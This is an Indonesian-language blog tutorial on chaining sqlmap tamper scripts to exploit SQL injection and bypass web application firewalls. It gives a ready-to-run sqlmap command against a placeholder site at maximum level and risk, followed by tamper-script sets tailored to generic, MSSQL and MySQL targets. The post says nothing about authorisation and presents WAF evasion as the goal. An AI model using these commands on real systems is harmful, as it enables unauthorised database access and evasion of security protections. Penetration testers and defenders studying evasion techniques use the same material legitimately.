Sqlmap Tamper Scripts (Sql Injection dan Bypass Waf) Tutorial

Selamat malam pada kesempatan kali ini saya akan membagikan tutorial sederhana hasil surfing di cyber space "Sqlmap Tamper Scripts (Sql Injection dan Bypass Waf)" pastinya kalian sudah tau dengan tools sqlmap kalau belum tau saya akan menjelaskan sedikit tentang tools tersebut. Sqlmap merupakan sebuah tools otomatis opensource (Sumber Terbuka) yang fungsinya untuk melakukan pengujian penetrasi mendeteksi mengexploitasi kelemahan Sqlinjection sqlmap juga mampu mengambil alih server yang sudah di exploitasi.

Didalam tools sqlmap terdapat sebuah script (Tamper Script) script tersebut berbeda-beda fungsi, salah satu fungsi ialah: Bypass proteksi Website (WAF) tahukah kalian script tersebut bisa di gunakan bersama-sama dalam satu baris. Berikut syntaxnya.

Root sqlmap -u 'http://www.site.com:80/search.cmd?form_state=1’ --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords 

Dibawah ini adalah beberapa  jenis set tamper difungsikan untuk (DBMS), sangat berguna ketika pengujian.

• Script tamper

Root tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes 

• Mssql

Root tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes 

• Mysql

Root tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor 

Simple and very easy Good Luck!!

Referensi:

• https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423
• http://pentestmonkey.net/blog/exploiting-a-tricky-sql-injection-with-sqlmap
• http://websec.ca/blog/view/Bypassing_WAFs_with_SQLMap
• http://www.forkbombers.com/2013/05/sqlmaps-tamper-scripts.html

Share this :